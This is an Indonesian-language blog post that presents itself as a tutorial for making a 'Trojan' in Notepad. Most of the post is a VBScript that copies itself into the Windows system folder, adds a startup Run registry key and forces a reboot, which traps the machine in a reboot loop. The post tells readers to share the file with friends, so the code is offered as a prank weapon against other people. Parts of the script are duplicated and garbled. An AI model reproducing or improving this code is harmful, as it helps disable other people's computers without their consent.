Haloo Guys,Gue akan memberi informasi Cara Membuat Virus Trojan . Nama aslinya adalah Trojan Horse . Gampang banget kok cara membuat virusnya dengan notepad kok . Oke langsung saja di lihat caranya satu-persatu dan langsung dipraktekin di PC kalian
1.Buka Notepad . Klik start >> terus ketik notepad
2.Copy dan paste script berikut ke dalam notepad anda
set FSobj=CreateObject(“Scripting.FileSystemObject”)
set sysDir = FSobj.GetSpecialFolder(1)
createRegKey “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB”,sysDir&”\dlRB.vbs”
sub createRegKey(regKey,regVal)
set regEdit = CreateObject(“WScript.Shell”)
regEdit.RegWrite regKey,regVal
end sub
set generateCopy=FSobj.CreateTextFile(sysDir+”\dlRB.vbs”)
generateCopy.close
set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),”"”") set procreateCopy=FSobj.OpenTextFile(sysDir+”\dlRB.vbs”,2)
procreateCopy.write fixedCode
procreateCopy.close
rebootSystem()
function setFile()
fileData=”rem – ^dlRB^ by D.L.” &vbcrlf& _ “strComputer = ^.^ ” &vbcrlf& _
“Set objWMIService = GetObject(^winmgmts:^ _ ” &vbcrlf& _ “& ^{impersonationLevel=impersonate,(Shutdown)}
!\\^ & strComputer & ^\root\cimv2^)” &vbcrlf& _
“Set colOperatingSystems = objWMIService.ExecQuery _ ” &vbcrlf& _ “
(^Select * from Win32_OperatingSystem^)”
&vbcrlf& _ “For Each objOperatingSystem in
colOperatingSystems” &vbcrlf& _ “ObjOperatingSystem.Reboot()
” &vbcrlf& _
“Next” end function function rebootSystem()
strComputer = “.” Set objWMIService = GetObject(“winmgmts:” _ & “{impersonationLevel=impersonate,(Shutdown)}!\\” & strComputer & “\root\cimv2″) Set colOperatingSystems = objWMIService.ExecQuery _
(“Select * from Win32_OperatingSystem”) For Each objOperatingSystem in colOperatingSystems ObjOperatingSystem.Reboot()
Next
“Set objWMIService = GetObject(^winmgmts:^ _ ” &vbcrlf& _ “& ^{impersonationLevel=impersonate,(Shutdown)}
!\\^ & strComputer & ^\root\cimv2^)” &vbcrlf& _
“Set colOperatingSystems = objWMIService.ExecQuery _ ” &vbcrlf& _ “
(^Select * from Win32_OperatingSystem^)”
&vbcrlf& _ “For Each objOperatingSystem in
colOperatingSystems” &vbcrlf& _ “ObjOperatingSystem.Reboot()
” &vbcrlf& _
“Next” end function function rebootSystem()
strComputer = “.” Set objWMIService = GetObject(“winmgmts:” _ & “{impersonationLevel=impersonate,(Shutdown)}!\\” & strComputer & “\root\cimv2″) Set colOperatingSystems = objWMIService.ExecQuery _
(“Select * from Win32_OperatingSystem”) For Each objOperatingSystem in colOperatingSystems ObjOperatingSystem.Reboot()
Next
end function
3.Kalau sudah , simpan filenya dengan exstensi .VBS Contoh Fanalver.VBS nyimpannya harus all file.
4.Jangan coba-coba di jalanin virus tadi di komputer pribadi anda karena saya tidak bertanggung jawab atas kesalahan anda sendiri Kalo mau simpel , tinggal download aja Disini . lalu share deh ke teman-teman sobat .
